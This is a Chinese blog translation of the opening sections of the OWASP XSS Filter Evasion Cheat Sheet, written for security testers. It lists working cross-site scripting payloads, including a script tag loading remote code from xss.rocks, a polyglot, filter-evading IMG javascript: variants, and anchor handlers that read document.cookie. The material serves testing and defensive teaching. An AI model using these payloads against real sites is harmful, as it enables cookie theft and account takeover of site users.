XSS:过滤器规避备忘单

XSS Filter Evasion Cheat Sheet

介绍

本文的重点是为应用程序安全测试专业人员提供一个指导,以帮助跨站点脚本测试。

本文的最初内容是由RSnake从他开创性的XSS备忘单中捐赠给OWASP的,该备忘单位于:http://ha.ckers.org/xss.html。

该网站现在重定向到它的新家,我们计划在那里维护和加强它。

最早的OWASP预防备忘单,跨站点脚本预防备忘单,是受RSnake的XSS备忘单启发的,因此我们可以感谢RSnake的灵感。我们想创建一个简短、简单的指导方针,让开发人员可以遵循这些指导原则来防止XSS,而不是简单地告诉开发人员构建能够抵御相当复杂的攻击备忘单中指定的所有花招的应用程序,于是OWASP备忘单系列就诞生了。

Tests

这个备忘单列出了一系列可以用来绕过某些XSS防御过滤器的XSS攻击。请注意,输入过滤是XSS的不完整防御,这些测试可以用来说明这一点。

基本XSS测试,无滤波器规避 (Basic XSS Test Without Filter Evasion)

这是一个普通的XSS JavaScript注入,很可能会被发现,但我建议先尝试一下(在任何现代浏览器中都不需要引号,所以这里省略它们):

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

XSS定位器(Polygot)(XSS Locator)

下面是一个“polygot测试XSS负载”。这个测试将在多个上下文中执行,包括html、脚本字符串、js和url。

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

使用JavaScript指令的图像XSS

使用JavaScript指令的Image XSS( IE7.0在图像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令 ) 以下内容也展示了在其他标记中也能工作的原理:

<IMG SRC="javascript:alert('XSS');">

没有引号和分号 (No Quotes and no Semicolon)

<IMG SRC=javascript:alert('XSS')>

不区分大小写的XSS攻击向量 (Case Insensitive XSS Attack Vector)

<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML实体 (Entities)

The semicolons are required for this to work:
此操作需要分号:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

重音符混淆(Grave Accent Obfuscation)

如果需要同时使用双引号和单引号,可以使用重音符来封装JavaScript字符串

这也很有用,因为许多跨站点脚本过滤器不知道重音符:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

A 标签 格式错误 (Malformed A Tags)

跳过HREF属性,进入XXS的核心部分

<a onmouseover="alert(document.cookie)">xxs link</a>

Chrome loves to replace missing quotes for you
if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.
Chrome喜欢为您替换丢失的引号

如果你遇到麻烦,就把它们撇开,Chrome会把它们放在正确的位置,并修复你在URL或脚本上丢失的引号。

<a onmouseover=alert(document.cookie)>xxs link</a>

图像标记 (Malformed IMG Tags)

最初由Begeek发现(但经过清理和缩短,可在所有浏览器中使用),

这个XSS向量使用宽松的呈现引擎在IMG标记中创建XSS向量,IMG标记应该封装在引号中。

我想这最初是为了纠正草率的编码。

这将大大增加正确解析HTML标记的难度:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

理解 + 翻译 很痛。。。

wuwuwuwu~

https://owasp.org/www-community/xss-filter-evasion-cheatsheet

原文地址:https://www.cnblogs.com/kutsu/p/14087135.html